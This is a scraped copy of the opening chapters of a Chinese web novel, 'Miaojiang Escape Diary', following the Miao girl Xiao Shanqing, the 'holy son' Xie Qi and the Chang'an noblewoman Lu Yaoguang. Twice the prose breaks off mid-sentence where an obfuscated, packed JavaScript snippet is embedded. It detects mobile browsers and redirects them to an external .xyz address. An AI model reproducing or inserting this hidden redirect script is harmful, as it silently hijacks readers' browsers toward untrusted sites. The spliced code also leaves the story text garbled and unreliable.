《苗疆出逃日记》 1. 群山 群山间泛着淡紫色的雾霭,玉带江像一条碧色的带子一样绕过山峰,奔腾着向东,留下弯弯曲曲的支流注入翠湖。 晨光昏昏。 古旧的庙宇里,一乌发雪肤的少女侧卧于蒲席之上。冷汗沿着额头滑过紧抿的唇角,她仿佛被梦魇所困,呼吸越发急促。 * 晓山青从梦里挣扎着睁开了眼睛,一时间不知道自己身在何处。 她恍惚环顾四周,记忆如潮水般缓缓回归。这儿是山神娘娘庙,她小时候住过的地方。她昨日因抓蛇耽误了下山时间,夜路难行,便就近宿在了娘娘庙里。 一切仿佛并无不妥。 那么,她脑子里突兀浮现的这段……是什么呢? 她记得她是做了一个噩梦,梦里光怪陆离的,然后她一觉醒来——发现这个本该淡去的梦就这样深深地刻在了她的脑海里,清晰得像是凭空出现一般。 对,是凭空出现。 在她过去十六年人生里何曾有过这样毫无逻辑、堪称混乱的经历,能让她臆造出这样的梦来? 晓山青捂着额头,不确定地反复查看这段记忆。然后得出了一个荒谬的结论来——是山神娘娘显灵了。 哈…… 她盘腿坐起来,把枕边盘卧的白蛇扒拉到手心里摆弄,熟悉的触感让她心神稍定。她无意识地摩挲着她的白仙,目光却穿透了昏沉的庙宇投向迷梦。 在这段离奇古怪的记忆里,她仿佛只是一个看客,而主角是一个姓陆的长安贵女,陆瑶光。 陆瑶光出身于门阀显赫的京兆陆氏。因与青梅竹马的太子怄气,离京赴荆州外祖家散心,途中遇匪流落苗疆,得一苗疆少年【谢歧】相救。朝夕相处间两人情愫暗生,然而护卫寻至,陆瑶光选择归家。谢歧毅然抛下一切护送,一行人历经艰险,终抵长安。 陆瑶光劫后余生,重归太傅府,与太子冰释前嫌。太子不愿再失所爱,执意请旨赐婚,陆瑶光却犹豫不已,无法在青梅竹马的太子与护她回京的谢歧之间抉择。不料太子求娶未成,迁怒陆府,陆家求助长公主后仍难敌东宫权势。失去庇护的陆瑶光被迫仓促嫁入东宫,成为侧妃。婚后太子温柔相对,她终究渐融心防,接受了太子。 …… 而关于谢歧的结局。 瓢泼大雨中,【谢歧】孑然一身离开长安。他找到一条野江,一边静静地看着碧绿的江水,一边感受着心口的绞痛。同心蛊发作了,他似乎舍不得那个少女忍受这样的痛苦,于是独坐江边,任由蛊毒反噬全身,一口一口地、慢慢地咳出了心肺融化的碎片。 “……” 记忆就此结束。 这实在是一个仓促的结局,晓山青忍不住将脸贴在白仙冰凉的鳞片上来驱散胸口莫名的沉闷。 这对吗?这不对吧?她所知道的那个谢歧——那个像毒蛇一样的小怪物,真的是梦里这个被耍得像狗一样的傻子吗? 可这段记忆带给她的感觉实在真切。她从梦醒之时就恍恍惚惚,恍若隔世,脸颊边湿冷的泪痕犹在,而梦中人的一言一行,一举一动又如此清晰,仿佛她亲眼所见,亲身所历。 她想,为什么她最后会如此伤心? ——难道是为了谢歧吗? 不,绝不。晓山青在乎的东西很多,但绝不包括谢歧。 一定她遗漏了什么。她咬着手指反复回忆她与长安的陆姑娘有什么交集,可思来想去,她们本就该没什么关系…… 对了,长安。 长安! 是她阿娘所在的长安,陆瑶光将要回去的长安! 晓山青的心口突突地一跳,眼前闪过记忆的碎片: 天很阴。 荒山的衣冠冢前,素衣少女低声啜泣。身着玄色蟠龙纹锦袍的男子拢着她的肩,温声劝慰:“莫哭了,孤已下旨褫夺那毒妇封号,圈禁长陵。谢……谢兄泉下有知,也可安息。” “那毒妇害得我们瑶瑶只能以侧妃之礼进府,孤便是将她挫骨扬灰也不为过!”男子眼底掠过晦暗:“只是她早年随皇祖征战,至今朝野仍有旧部为其张目。孤一时杀她不得,平白委屈了我们瑶瑶。” “孤定补你一个后位。”他低头,轻吻怀中人。 “嗯,我信太子哥哥。”少女含泪应道。 ——什么是褫夺封号?什么是圈禁长陵? 晓山青并不能十分地理解这些词。 然而强烈的不安从梦渗透进现实,藤蔓一样缠绕住她的心脏,野兽一样的直觉让晓山青察觉到一丝不对劲。 她猛地跳下床,手忙脚乱地套上外衫,甚至来不及系好衣带,便赤着脚冲到了庙堂中央的山神娘娘像前。 身披翠羽、头戴银冠的娘娘正握着挂满红绸的藤杖,长长久久地远眺着这片土地。晓山青抬头仰望她,但娘娘并不与她对视,她浩瀚又温柔的目光只迢迢地落在远处,那里是孤鹰盘旋的山巅。 娘娘,娘娘。 她满腹疑问又感到沮丧——您是需要我做些什么吗?可是我能做些什么呢? 她并非祭司婆婆那样能感应神灵的大巫,又无什么通天晓地推衍星辰的天赋。晓山青跪坐在彩色丝带织成的蒲团上,在一团乱麻里找不出一丝头绪。 我究竟……要做些什么呢? 哒。一滴凝聚在檐牙上的水珠直直落下,恰好正落在晓山青的眉心,凉意顺着她的额头直沁入头脑。 晓山青呆呆地看着娘娘的石像。 这点凉意瞬间敲醒了混沌。她忽地跳了起来。 是了,去看看!去看看不就知道了吗? ——真正的谢歧,当真会带这么一个姑娘回寨吗? * 苗寨依着半山腰而建。 鳞次栉比的吊脚楼顺着山势悬空而立,陡峭的石阶与悬空的栈道在吊楼间蜿蜒穿行。几架长长的藤桥凌空挂在楼与崖之间,桥下数十米无所依凭,只有一股溪流贴着山壁缓缓流淌。 寨子里最高的那幢吊楼里,有人坐在一片昏暗里,琥珀色的眼睛倒映着苗寨层层叠叠的屋檐。山林的晨风拂过他的发尾,红绳系着的那枚小小铃铛轻轻摇晃,好像在应和林海深处的声响。 “圣子大人,你昨夜救回来的那个妹妹崽醒哩!说着一口官话,我们都听不懂她在讲啥。” 门槛处响起嘈杂的人声,黑暗里的人总算动了。 他慢吞吞地走到烛火边,用银剪子拨弄了一下烛芯。那一张漂亮的脸出现在闪烁的烛光里,晃动的光影非但没有柔和他的五官,反而带来了另一种诡谲的艳色。 “活像个女鬼”。这是晓山青的说法。 她还嘲笑他:这样的男生女相,雌雄莫辨,阖该被中原人拐出寨子见识见识人间险恶。 ——实际上也并非全对,因为晓山青这么说的时候是抱着十足的恶意的。 谢歧的脸还不至于如此的雌雄莫辨,至少还是能看出他是一个少年的。他的皮肤很白,是没有血色的白法。眼尾有点微微的上挑,在暖色的光线下,琥珀色的虹膜会呈现一种剔透的金色。这是种极其瑰丽的颜色,但他不笑的时候,这双眼睛便会阴沉下来,泛着股瘆人的邪气。 他是不是偷了谁的脸,才从年幼时候那副模样脱胎换骨,换了这身好皮囊? 在晓山青最神经质、最针对谢歧的时候,她曾经这样大胆又恶毒地揣测他——而谢歧的回应是一只丢进她被窝的蝎子。 “圣子大人?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488503|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口又有人敲了敲门。 谢歧动了动脖子,冷不丁地笑了一下,在昏暗的灯火下好似一只刚刚穿好皮的鬼物。他拿起银剪收入怀中,慢腾腾地拉开门,走下吱呀作响的木梯。 “走,”他悠悠然道,“去看看。” * 天空铺展着浩瀚深邃的幽蓝。远山在熹微晨光里化作朦胧的的黑影,一层层地向这座苗寨倾轧而来。 重重叠叠的山。无休无止的山。 那是苗疆孩子的摇篮,但对于任何一个金玉堆里长大的小娘子而言,这些奇形怪状的影子便是世间最狰狞的恶鬼,要将她活生生地吞吃入腹。 是以,陆瑶光从醒来那一刻就开始哭。 而蹲在窗子下面的老苗医,听着她的哭声,叹出了今天的第十三口气,狠狠地抓了一把胡子。 幸好幸好,在他将要叹出第十四口气的时候,谢歧来了。 他来得极快。 吊楼的楼梯吱嘎作响,一双靴子停在了老苗医跟前。 “有事吗?” 懒洋洋的声音。 老苗医捋着白花花的胡子,深深地、深深地吸了一口旱烟,又慢慢地、慢慢地吐了出来。 “……圣子大人。”他很沧桑地吐出了这句话,“你救回来的妹妹崽一睁眼就要找你。” “……”谢歧偏了下头,恹恹地反问:“找我干嘛,难道我会治病?” “就,就,她是怕生人吧?圣子大人既然来了,要不进去看一眼?”老苗医尴尬地搓搓手。 “……哦。”谢歧点点头,指尖漫不经心划过手腕,倏地反手一拉。那扇半掩的木门豁然洞开,他甚至没回头看一眼,像是料定门后有人在偷听一般——果然,一个穿着胭脂色襦裙的姑娘猝不及防地跌了出来,低呼一声:“哎呀!” 老苗医赶紧手忙脚乱去扶人。而罪魁祸首却连动都不动,只冷眼看着,不耐烦问道:“找我干嘛?” “我……我……” 少女狼狈地抬头,正撞见少年抱臂靠在墙上。 黑色革制腰带束着一截劲瘦的腰,腰带上挂满了银链串着的铃铛和颜色鲜艳的流苏。他歪着头,似笑非笑地看着她,绑着铃铛的乌黑头发顺着这个动作滑到胸前,发出了一连串的叮当声音。 “你为什么要哭?”他凑近了,似乎是在好奇地打量她,那视线粘腻在她耳边,惹得她战栗起来。陆瑶光的心砰砰乱跳着,又听见他在慢慢地问她:“不是说好我救你,你就跟我回来吗?你要反悔了吗?” “我……”少女脸颊飞红,声若蚊蚋:“我……没有反悔,我,只是,只是害怕。” “我们长安人最重承诺,我……我绝不会食言的,”她期期艾艾地挪近半步,伸手抓住少年的衣摆一角:“你别……你别丢下我。” 谢歧垂眸盯着那只手,露出了古怪的神色。 陆瑶光不知道,她的手触碰到衣角的那一刹那,少年身上蛰伏的毒物都难以遏制地躁动起来,连袖中的蛇都开始嘶嘶吐信,微微昂起前半身。 少年唇角噙笑,却没有半分制止之意。 就如他猜测的那样,这些小东西们迟迟没有扑咬上去——像是在惧怕她身上的什么东西。 “别动。”他忽然说道。他探出手,像是要抚摸少女的秀发。那双潋滟的眼睛里微微含着笑,仿佛世间最温柔知趣的情郎。 陆瑶光不知所措地低头。 “害怕?”谢歧温柔地问道。 下一刻,一股淡淡的香气顺着他的手漫了过来。少女身子一软,迷迷糊糊地瘫倒在地。 “害怕——睡一觉就好了。”谢歧嗤笑。 * 真无趣。他想着。 2. 圣子 圣子的吊楼在寨子最高处。 足够高,也足够清净。 其实谢歧在寨子里露面的时间不长,几年前才刚刚搬出娘娘庙。晓山青记得那个日子,婆婆带他从后山走出来。少年站在土路上,穿着一双不合脚的鞋子,衣服破破烂烂,漏出一双伶仃的脚腕。他警惕地环视四周,像一只夹着尾巴的狼崽,但无论他怎么掩盖,晓山青还是能看出那一点微不可查的雀跃。 也是,她搬走之后,娘娘庙里就只剩下婆婆和谢歧两个人了。 不过大概连谢歧自己都没想到从此他将失去宁静的夜晚。当天晚上就有人对着谢歧的窗子唱了一整夜情歌,然后从那天起,他的窗子前开始出现排着队的羞涩姑娘——直到某一天,婆婆传出消息说谢歧日后将承“圣子”之位。 一夜之间,窗子前的姑娘们消失得无影无踪,晓山青忽然又成了唯一一个肯“搭理”谢歧的人了。 ——好像天地间有只搅弄风云的手将他们轻轻地一抓,她和谢歧就囫囵滚到了一处去。 但是晓山青却拒绝承认这一点。十年过去了,她也不再是那个被苦药困住的孩童了,于是她跑去问了相熟的姐姐们。 “那可是圣子嘛,哈哈。” 姐姐们讪笑着:“这可不是开玩笑的,我们还惜命。” “寨子已许久没出过圣子了,这名头不是白给的。”一个姐姐边染指甲边讲给她听,“只有供奉‘圣蛊’的寨子才有资格奉养圣子。圣蛊,也叫王蛊,王蛊王蛊,蛊中之王……这东西邪性得很,最喜欢美丽的皮……” 哦,谢歧的脸确实还拿的出手。 “是谢歧身上有王蛊,婆婆才让他当圣子?”晓山青问,“还是他本来就是圣子,他身上的蛊才叫王蛊?” 姐姐们面面相觑:“这……我们哪里知晓?” 声音越来越小:“但命总归要紧……” 越来越小:“我们当初不知天高地厚,给圣子下过蛊……万一哪天他……” “……”原来如此。 怪不得那阵子谢歧总皱着眉,活像生吞了□□。 晓山青暗忖,不过——或许她们猜中了。 谢歧身上确实是有蛊,且绝不止有一种蛊。年幼时的谢歧与其说是一个人,不如说是个剧毒的容器。他血中蛊毒之驳杂,常让晓山青疑惑他为什么还能好好喘气,而今他活了下来,本身似乎就成了人形的蛊。 蛊中之蛊,万蛊之王,若圣蛊真作此解,那谢歧他当之无愧,合该是“圣子”。 * 顺着石阶往上攀。 晓山青一眼便瞧见谢歧靠在门边,低着头,身影融在门扉的阴影里,像只懒洋洋的猫。 这副在这站了许久、等着什么的样子,反倒叫晓山青停了脚步。 便是这骤然停顿叫谢歧看到她了。 他眯起眼睛:“你来……” 晓山青轻飘飘地打断了他的话:“上次落了点东西,我来找找。” “换一个借口行吗?”谢歧看了她一眼,“你上次来还是半年前,什么东西丢了半年你才想起来?” “就是丢了东西。”晓山青敷衍道:“我要进去看看。” “……” 谢歧忽地笑了。 “好啊。”他侧开身,让出了门的位置,“这次又是你自己想进来的。” 屋檐斜斜的影子落下来,盖住了他的眉眼,但晓山青依旧能看到他的眼睛。亮得骇人。 “这次”二字,轻易便钩起了“上次”。 晓山青心不在焉地想,上回进这屋子,是因谢歧这通风报信的狗东西,害得她刚溜出寨门就被阿爹逮个正着。她在被关禁闭前硬闯进屋子找谢歧打了一架,打得有点上头,差点…… “随便你怎么说。” 晓山青扯动嘴角,向谢歧的方向露出一个一个假笑,像是浑然不在意般踏进了屋子。 余光捕捉到了谢歧阴沉的眸色。 很好。她想,不枉费她临行前还特意练了练这个笑容。 足有半年时间不曾再踏入这间屋子,但晓山青仍然记得一些她并不想记得细节。比如说她和谢歧扭打时候撞到的桌角,比如说谢歧把她按在地板上时扑在她面上的冷酷呼吸。 她强迫自己移开视线。 房间里光线很暗,桌子上的灯并未被点起,一盏银剪子随意地搁在桌子上。看到这把银剪子时记忆又不受控地翻涌上来。她就是拿这把剪子穿透了谢歧的手,谢歧的血流了一地。滴滴答答的,他一边笑着,一边把手递到她嘴边叫她咽下去,活像个发起疯的疯子。 “……” 晓山青环顾四周,确定了没有她想要找的人,不由得挑了挑眉。 “不在这儿?” “什么?”谢歧掀开帘子,跟着她进来。 这时候他倒是像个正常人。晓山青没理会他。这狗东西——她一直在心里叫他狗东西——不犯病的时候一向是人模狗样的。 “你不知道吗?” 她扫了谢歧一眼,又几步走出了出去,一副不愿意多呆的样子。 谢歧的脸又沉下来了。 他不高兴了。 可晓山青最喜欢他不高兴。谢歧一不高兴,她就高兴。于是她背着手,在明亮的日光里好整以暇地欣赏他冷峭的脸,语气轻松,“你不知道我在找——谁?” “你落下的东西,我怎么知晓?”谢歧微微歪着头,黑色的发丝搭在肩头,又向下流淌。他完全收起了平日里惯有的那点笑意,上扬的眼尾因此而显得森郁起来。 晓山青曾经无比无比憎恨这张脸,但现在,她能做到对这张脸无动于衷了。 她懒得再看谢歧一眼。既然她要找的【陆瑶光】不在这儿,那她来这儿干嘛呢? 晓山青想扭头就走——然而她的手腕又被扣住了。 力道之大,让她身形猛地一顿。 “想来就来,想走就走?”谢歧的声音就贴着她的耳廓响起,仿佛一只黏糊糊的蜗牛正在缓慢爬过。 晓山青想从舌尖吐出一个“滚”字来。但是谢歧已经欺身过来。他伸手扳过晓山青的脸,迫使她看向自己。白仙一下窜出来一口咬在他的手腕上,他浑然不觉般任由它咬着,自顾自靠近晓山青,“这事上哪有这样的好事?” 像条盘踞在阴影里咝咝的蛇。 “行了。”晓山青却是对这副样子的谢歧再熟悉不过了——不如说她从小认识的就是这样的谢歧。她又是一眼都没有看谢歧,只是低着头对白仙说话,伸出手去碰白仙尖尖的牙。那牙没入谢歧的皮肤,露在外面的那截闪着森白的光。 “松口,我知道你没认真咬。”她毫不在意谢歧吃痛的表情,只是把手指伸入蛇吻间隙,然后带着十足的恶意,狠狠地按压谢歧的伤口。 “痛。”谢歧皱着眉头申诉。 晓山青转而用虎口卡住了白仙的獠牙,将它从谢歧腕上扯离。那白得近乎透明的皮肤上赫然留下两点艳丽的红,她饶有兴味地多看了两眼。 白仙慢慢盘到她手上,昂着头。 “别吃脏东西。”晓山青收回视线,按了按它的脑袋,“小心把自己毒死。” 这话实在是有些荒谬了。 对着一条毒蛇说,小心你被一个人的血毒死——这世上还有比这更荒诞的笑话吗? 可在场的两人都没有笑,反而谢歧的脸上又多了一层冷冷的愠怒。他甩了甩手腕,仿佛被毒蛇咬一口不过是蚊虫叮咬,而毒死一条毒蛇,似乎也算不得什么大事。 “毒不死它,”他冷冷道,“你的白仙聪明得很,根本没咬实。” 是的,那一口完全是在装模作样。它是条聪明的蛇,在场两个人也都是聪明人。 可惜,这世上并非人人都有这份聪明。 比如说—— “谢公子,你的手!” 一声带着惊惶的娇呼蓦然响起。一个陌生少女跌跌撞撞地从吊楼另一侧跑来,满面忧急。 谢歧脸上那点吃痛的神情瞬间敛去,无影无踪。 而晓山青的眼睛,却在这一刻,奇异地亮了起来。 找到了。她想。 * 谢歧似乎有点苦恼,有点不知道拿少女怎么办好。他好看的眉簇在一起,在眉心形成一道浅浅的褶。 “你怎么找到这儿来的?”他并没有理会少女的焦急,反而想通什么般挑了一下眉毛,“老乌——就是那个老苗医——告诉你的?他给你解了引香?” 少女点点头,拿含泪的眸子盯着他的手,怯怯的。大概是真的着急了,也壮着胆子提高了音量:“谢公子,你的手……”她看上去急得快哭了,“你被蛇咬了!” 晓山青好奇地看着她的脸。 她生得极美,且是一种“长安式”的美。 “长安”什么时候成了形容词了呢? 可当这个少女站在你眼前的时候,你就会觉得“长安”也可以是个形容词。 黔南水土养不出这样的人,这里的风和这里的水养不出这样绵软的美丽,但是长安,长安——那个温暖、富庶、金玉堆砌的地方可以。你看到这少女的第一眼,就会自然而然地想着:哦,原来她从那儿来。 泪水浸湿了少女浓密的睫毛,将那双眸子洗得黑亮。她并不理睬晓山青,只是看着谢歧,好像满心满眼都只有他一个人。 于是晓山青想,梦里的故事就是从这里开始的。 因为这个故事里没有她这个配角,所以她也不必被注视。 她探究的目光在少女与谢歧之间逡巡,脚下却无声地向后退去。 谢歧对【陆瑶光】会是什么态度呢? 当答案已近在咫尺时,她忽然不再感兴趣了。她想要知道的事已经被印证一半了,接下来她要去印证另一半了。 晓山青像只鸟,又像只狐狸。她能在密林之中如飞禽走兽般悄然无踪地穿梭,也常常为这轻巧又精妙的步伐自诩得意。 但是。谢歧再一次,精准地攫住了她的动向。 他不是老练的猎人,但他是蛰伏的捕鸟蛛,是盘踞的毒蛇,是天生的怪物。这怪物既想攫取她的目光,便绝不许她因无趣而分神别处。 “去哪儿,阿青?”他竟全然未理睬身旁泫然欲泣的少女,亦不曾低头看一眼腕上的伤,径直问道。 “???” 好恶心。晓山青几欲做呕。 但她很快就反应了过来。她从来不是平白无故吃亏的人。 “阿歧,你的手怎么样了?”她学着少女的样子说。 她学得相当过分,连带着那担忧的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488504|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情也一模一样学了过来。不,她甚至更加夸张,她一下子就收敛了她惯常的轻佻,变得乖巧,可怜,楚楚动人——又天真洋溢。 是的,晓山青的脸其实更适合这样的表情,她身上本就带着一种散漫的、野性的天真。同样的话,同样的动作,陆瑶光仅仅是让谢歧觉得她可怜。但此刻,他却觉得晓山青可爱。 可爱,又可恨。让人恨不能立刻掐住那纤细的脖颈,叫她闭紧这张恼人的嘴。又让人想…… 他猛地掐断了这危险的念头。 他走到了阳光里。又像往常一样,谢歧咧嘴笑了起来,露出了一点尖尖的虎牙。 “我没事,这点伤对我来说不算什么。”他对陆瑶光说。随后他又很快地回过头,紧紧握住了晓山青的手腕,好像怕她逃跑似的,“阿青,你要去哪儿?” 陆瑶光怔在原地,呆呆望着两人的手。 * “我的阿娘在长安。” 晓山青给陆瑶光倒了一杯茶。苗疆的粗茶当然比不得别处,茶汤颜色深褐,入口也不清甜,反倒涩得直冲人喉咙。 眼下他们三人正坐在谢歧的屋子里,刚刚互通了姓名。跽坐蒲团上的陆瑶光正轻轻地捧着杯子,她显然并不习惯这种粗糙的茶,小口啜饮半晌,杯中茶水却未见少。闻言,陆瑶光忍不住放下杯子看过去:“难怪……难怪姑娘的官话说得那么好。” 她的不安似乎因为这句话褪去了一点,不再频频偷眼去觑谢歧。 “不,我自出生起就没见过阿娘,我的官话是阿爹教的。”晓山青却摇摇头,“我倒是想去长安,可惜山高路远。” “若是你要回长安,可千万要带上我才好。”她轻巧地抬头,目光蝶翼般轻盈地扫过陆瑶光的脸。 看不出什么来。 少女微微蹙起的眉头应当是为了这苦茶,而不是识破了她言语下所图。 果然,陆瑶光闻言怔忡片刻,才慢半拍地应道:“好……好。” 她非常轻易地许下了承诺,仿佛那不过是从她妆奁中随意拣一支珠花相赠般的小事。 也是,她生于锦绣堆中,大约从未尝过诺言落空的苦。但晓山青不同,她知道这世间从没有平白无故得来的东西。 于是她笑了笑,转而收回了这句话。 她笑道:“算啦,不麻烦你了,我阿爹对管束得严,不许我出那么远的门。” 一旁的谢歧喉间滚出一声短促的轻嗤。晓山青恍若未闻。 “你既从长安来,长安是什么样的?能多与我讲讲吗?”她露出一副极具欺骗性的无辜笑容来,托着腮继续问道。 说到长安,陆瑶光眼中顿时亮起光彩,话也多了起来。 “长安的城楼颇高,城外渭水东流,浩浩汤汤,春日浮冰消融,我们便去城外踏青。还有十二街的坊市……”少女声音清越,如珠落玉盘,滔滔不绝地讲着长安。 晓山青的心随着少女的字句一点点勾勒出长安城的形状。 她还是少年人。少年人总对未见过的盛景有着无数的期待。 “……上元灯节最是热闹,我曾随太子哥哥一起登上百会楼看灯,凭栏俯瞰,下面人潮涌动,火树银花,恍若星河倒泻,彻夜不熄……”陆瑶光沉浸在回忆里,言语间不经意带出了一个平日里的亲昵称谓。 晓山青愣了一下,漫不经心地追问:“太子?如今太子是谁?” 她几乎是立刻捕捉到了这个词,迅速地警惕起来,但偏偏问时又将声音放得又轻又缓,仿佛只是随口一问。 “你不知道……?”陆瑶光吃惊地看向她。 “我们这样的地方,是不管外面谁做了皇帝的。”晓山青摇摇头。她轻轻地笑了起来,这回是真心实意的。 天高皇帝远——她倒是没这么说。但她忍不住看了一眼谢歧,看见谢歧也在笑。少年坐姿散漫不羁,一张小几根本放不下他那双长腿。他随意地向后倚着墙,一手闲闲撑在屈起的膝上,仗着无人留意,那笑意里浸透了毫不掩饰的轻嘲。 她立刻收敛了笑容的弧度,唯恐自己也露出这样的轻蔑来。 幸好陆瑶光浑然未觉,如她所愿般顺着她的疑问解释道:“太子乃当今圣人与皇后娘娘的唯一嫡子。太祖皇帝萧立风于白马坡举旗,戎马一生,定鼎中原,又将皇位传于圣人……” 萧? 晓山青的眼前猛地闪过阿爹炭盆里未烧尽的信纸残角。 她阿娘……也姓萧! 怪不得她爹说阿娘姓氏太大,怕她的小命压不住。又不肯让她随他姓,说实在对不住被她折腾了那么久的阿娘——“等你娘找来了,你再改她的姓吧。”她阿爹是这么说的。 “原是如此。”她想着阿爹烧去的字迹,开始不动声色地引导话题:“我忽记起我阿爹有位长安故人,早年曾自号什么“宁远”,总爱说自己也算得上什么皇亲国戚……” 她好奇道:“长安城中,你可识得有什么人姓萧,名字里又恰好带了个‘远’字?” 陆瑶光凝神细思片刻,茫然地摇了摇头。 “那……带‘宁’字的呢?”晓山青追问,语速不经意快了一瞬。 “也没有。”陆瑶光这次答得肯定。 “但若论及封号,”她像是忽然忆起什么,脱口而出:“唯有……” 3. 昭宁 “唯有……长公主殿下的封号里有个宁字,但想来也不会是……” 恍惚中,少女的声音越来越远。 是昭宁。晓山青想。 那焦痕斑驳的柔软纸片上是“昭宁”二字。 昭宁。昭宁长公主。 她想,这长安,我非去不可。 * 谢歧对陆瑶光的态度始终叫人捉摸不透。 “你打算拿她怎么办?” 听到这句话的时候,谢歧手里正握着一把小巧锋利的银刀。鲜红的血从他掌心的伤口汩汩涌出,滴落在碗底,发出清晰的声响。 这样的事情显然是要避着那个娇滴滴的长安贵女的,因此他们两个单独坐在一间暗室里。室内只燃着一盏油灯,一只红泥药炉架在炉子上,沉闷的药香顺着水汽往外溢。 “还能怎么办。”谢歧脸上淡淡的,连眼皮都没抬一下,挤压伤口的手继续用力。 晓山青毫不掩饰地发出了嗤笑。 “你刚进寨子的时候可不是这么好说话的。” “是陆姑娘的颜色胜过阿姐们,还是你就喜欢那样的姑娘,谢公子?”她歪着头,看着他掌心蜿蜒流下的血线。 “闭嘴。” “别说你不喜欢。不喜欢还把人带回来,你是什么会大发善心的好人吗——谢歧?能不能坦诚一点?” “没你好看。”谢歧忽地冷冷抛出这一句。 像是在回应她那句“坦诚”,又像是在单纯地报复她。他微微抬起眼,昏暗光线下,那张秾丽的脸孔带着惊心动魄的艳色,把晓山青惊得微微后退了一点。 “我喜欢……”他又补上一句,尾音带着说不清道不明的意味。 你这样的。 晓山青的后背莫名窜起一股寒意,她下意识惊疑不定地看向谢歧。 “你刚刚说什么?” 她疑心自己听错了。 “我一向坦诚得很。”谢歧将沾血的银刀随手丢在一边,抓起一截白布,粗暴地缠向渗血的掌心。他忽的抬头,目光如闪电般撞向晓山青:“……口是心非的可从来不是我。” 疯话。 晓山青压下某一瞬间的异样,懒得深究,转而揭开旁边的药炉盖子,缓缓把血倒入沸腾的药汁中。水汽顶得炉盖微微晃动,炉子咕噜作响。 白布很快被新渗出的鲜血染红,谢歧皱着眉,用牙齿咬住布条一端用力勒紧。 因他出门办事,晓山青有段时间断了药,这回的放血量便大了些。失血让他脸色越发白,唇色也淡了下去。晓山青静静地欣赏着他苍白的面颊,不自觉地开始走神。 直到被谢歧有些暴躁的声音打断。 “别发愣了。”少年将那只裹着白布的手伸到她面前,“帮忙,勒紧。不然……”他顿了顿,目光扫过那炉咕嘟作响的药汁,“别喝我的血。” 晓山青啧了一声,压下心头烦躁,伸手接过布条打结,嘴上也没闲下来:“当心,这秘密可要藏好了,不然陆姑娘可又要心疼了。” “谢,公,子。” 她一字一顿。 “……” “……算了。”谢歧深吸了一口气,自嘲地笑了一下,“我也不指望你能发现白仙的问题了。” “你说什么?”晓山青手上动作一顿。 “它不敢靠近陆瑶光。”谢歧冷着脸道,“你的蛇连我都咬,凭什么不攻击她? “……” “只要陆瑶光在近旁,白仙都会从我身上悄悄溜走,除了第一次见面……”晓山青慢慢回忆道。 那次白仙窝在它惯常呆的位置,而她全神贯注于试探陆瑶光,忽略了白仙的异常。 她没有想到单纯如陆瑶光这样的人都会有自己的秘密。 晓山青盯着滚过三遍的药炉,忽然想说点什么。 “你……” “你还是想去长安?” 然而谢歧的话更快,先一步抢住了她的话头。少年默然地看着她,眼神里是全然的不解与疑惑。 “可你到的了长安吗?阿青?” 晓山青与他对视。 我到的了长安吗?她也问过自己。 是的,从幼时闹脾气哭着喊着要找阿娘开始,她尝试了无数次。 最远的一次,她才刚刚走出苗疆的边界,便迷失在了外面的世界。她那时说不好官话,也听不懂方言,只能停留在那个小小的村落,啃着最后一点干粮等阿爹过来接她。 果然一夜之后,阿爹顺着双生蛊的指引飘然而至。在带她走回山林之前,阿爹牵着她的手,叫她最后望一眼那片广袤的平原。 可小小的晓山青站在那里,却听见背后的苗疆在呼唤她。 阿青!阿青! 这个苗语名字只有一个短促的发音,意思是山的倒影在湖水里的青色。高山的溪流流进圆圆的翠湖,翠湖的水养大了每一个苗人。 阿青!阿青! 风吹过背后的林海发出潇潇的声响,整片山林都在呼喝她的名字。她喝着翠湖的水长大,她天生无法与这片土地分割。 于是晓山青抬头向阿爹承诺:“待我治好了病,我想去长安看看,看完我就回来。” 那时候她并不知道承诺的重量,像如今的陆瑶光一样,她相当轻易地许出了承诺。年幼的晓山青并不会想到,要在长安那巨大漩涡中做一尾逆流的鱼,需付出什么样代价。 ——或许她阿爹知道。因为阿爹低头看她,思索了片刻,答道:“那你可千万要记得归路,你能做到吗?” “我能。” “我出的去,也回的来。”晓山青看着谢歧的眼睛,一字一句道。 少年死死地注视着她,那双眼中仿佛有火在熊熊燃烧,几乎要将她吞噬。下一秒,他猛地转身摔门而去。 而晓山青看着他的背影,将苦腥的药一饮而尽。 谢歧似乎并未如梦中那般,爱上那位长安少女。她想。 而她已经快要等不及了。 她必须做些什么,亲手去抓住那场能将她的命运吹向长安的东风。 * 陆瑶光遇到晓山青的时候,她正只身坐在藤桥的扶栏上。山风卷着她的长发飞舞,她却浑然不怕般将半个身子探到了空中,任由风穿透薄衫,脑后银环碰撞,叮当作响。 “阿青姑娘,你不怕吗?”陆瑶光忍不住出声道。 “我不怕啊。”晓山青低头看她,目光落在她毛茸茸的发顶。那头青丝如泼墨般乌黑亮泽,看得人忍不住心痒。 于是她顺从内心地伸出手,摸了摸她的头发:“你的头发真好看,难怪谢歧把你带了回来。” “哪有的事,谢公子怎么会因为这个……”少女的脸上泛起蒸腾的红霞,好像上了一层可爱的胭脂。 晓山青凑近她:“可是他收留你住在他的吊楼里……你知道吗?从前有好多姐姐妹妹在他窗子下唱歌,嗓子都唱哑了,谢歧也没开过一次门。” “那是因为我夜里实在害怕,睡不着……”陆瑶光的脸更红了,“谢公子他只是把房间让给了我,他的屋子里没有那些吓人的虫子。” 